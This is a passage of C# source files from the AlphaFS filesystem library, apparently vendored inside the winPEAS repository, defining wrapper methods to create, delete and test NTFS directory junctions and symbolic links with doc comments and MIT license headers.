overwrite, bool copyTargetTimestamps, PathFormat pathFormat) { CreateJunctionCore(null, junctionPath, directoryPath, overwrite, copyTargetTimestamps, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateJunctionTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region Obsolete /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. [SecurityCritical] public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath) { CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, PathFormat pathFormat) { CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, pathFormat); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. [SecurityCritical] public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, PathFormat pathFormat) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, pathFormat); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// The directory date and time stamps from (the target) are copied to the directory junction. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. [SecurityCritical] public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// The directory date and time stamps from (the target) are copied to the directory junction. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, pathFormat); } #endregion // Obsolete /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. [SecurityCritical] public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath) { CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, PathFormat pathFormat) { CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, pathFormat); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. [SecurityCritical] public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, PathFormat pathFormat) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, pathFormat); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// The directory date and time stamps from (the target) are copied to the directory junction. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. [SecurityCritical] public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// The directory date and time stamps from (the target) are copied to the directory junction. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat) { CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateSymbolicLink.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Creates a symbolic link to a directory (similar to CMD command: "MKLINK /D"). ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLink(string symlinkDirectoryName, string targetDirectoryName) { File.CreateSymbolicLinkCore(null, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, PathFormat.RelativePath); } /// [AlphaFS] Creates a symbolic link to a directory (similar to CMD command: "MKLINK /D"). ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLink(string symlinkDirectoryName, string targetDirectoryName, PathFormat pathFormat) { File.CreateSymbolicLinkCore(null, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateSymbolicLinkTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK /D") to a directory as a transacted operation. ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkDirectoryName, string targetDirectoryName) { File.CreateSymbolicLinkCore(transaction, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, PathFormat.RelativePath); } /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK /D") to a directory as a transacted operation. ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "symlink")] [SecurityCritical] public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkDirectoryName, string targetDirectoryName, PathFormat pathFormat) { File.CreateSymbolicLinkCore(transaction, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.DeleteJunction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The path of the junction point to remove. [SecurityCritical] public static void DeleteJunction(string junctionPath) { DeleteJunctionCore(null, null, junctionPath, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The path of the junction point to remove. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteJunction(string junctionPath, PathFormat pathFormat) { DeleteJunctionCore(null, null, junctionPath, false, pathFormat); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The path of the junction point to remove. /// When true, also removes the directory and all its contents. [SecurityCritical] public static void DeleteJunction(string junctionPath, bool removeDirectory) { DeleteJunctionCore(null, null, junctionPath, removeDirectory, PathFormat.RelativePath); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The path of the junction point to remove. /// When true, also removes the directory and all its contents. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteJunction(string junctionPath, bool removeDirectory, PathFormat pathFormat) { DeleteJunctionCore(null, null, junctionPath, removeDirectory, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.DeleteJunctionTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region Obsolete /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. [Obsolete("Use method DeleteJunctionTransacted.")] [SecurityCritical] public static void DeleteJunction(KernelTransaction transaction, string junctionPath) { DeleteJunctionCore(transaction, null, junctionPath, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. /// Indicates the format of the path parameter(s). [Obsolete("Use method DeleteJunctionTransacted.")] [SecurityCritical] public static void DeleteJunction(KernelTransaction transaction, string junctionPath, PathFormat pathFormat) { DeleteJunctionCore(transaction, null, junctionPath, false, pathFormat); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. /// When true, also removes the directory and all its contents. [Obsolete("Use method DeleteJunctionTransacted.")] [SecurityCritical] public static void DeleteJunction(KernelTransaction transaction, string junctionPath, bool removeDirectory) { DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, PathFormat.RelativePath); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. /// When true, also removes the directory and all its contents. /// Indicates the format of the path parameter(s). [Obsolete("Use method DeleteJunctionTransacted.")] [SecurityCritical] public static void DeleteJunction(KernelTransaction transaction, string junctionPath, bool removeDirectory, PathFormat pathFormat) { DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, pathFormat); } #endregion // Obsolete /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. [SecurityCritical] public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath) { DeleteJunctionCore(transaction, null, junctionPath, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath, PathFormat pathFormat) { DeleteJunctionCore(transaction, null, junctionPath, false, pathFormat); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. /// When true, also removes the directory and all its contents. [SecurityCritical] public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath, bool removeDirectory) { DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, PathFormat.RelativePath); } /// [AlphaFS] Deletes an NTFS directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to remove. /// When true, also removes the directory and all its contents. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath, bool removeDirectory, PathFormat pathFormat) { DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.ExistsJunction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The path to test. [SecurityCritical] public static bool ExistsJunction(string junctionPath) { return ExistsJunctionCore(null, null, junctionPath, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The path to test. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool ExistsJunction(string junctionPath, PathFormat pathFormat) { return ExistsJunctionCore(null, null, junctionPath, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.ExistsJunctionTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region Obsolete /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The transaction. /// The path to test. [Obsolete("Use ExistsJunctionTransacted method.")] [SecurityCritical] public static bool ExistsJunction(KernelTransaction transaction, string junctionPath) { return ExistsJunctionCore(transaction, null, junctionPath, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The transaction. /// The path to test. /// Indicates the format of the path parameter(s). [Obsolete("Use ExistsJunctionTransacted method.")] [SecurityCritical] public static bool ExistsJunction(KernelTransaction transaction, string junctionPath, PathFormat pathFormat) { return ExistsJunctionCore(transaction, null, junctionPath, pathFormat); } #endregion // Obsolete /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The transaction. /// The path to test. [SecurityCritical] public static bool ExistsJunctionTransacted(KernelTransaction transaction, string junctionPath) { return ExistsJunctionCore(transaction, null, junctionPath, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. 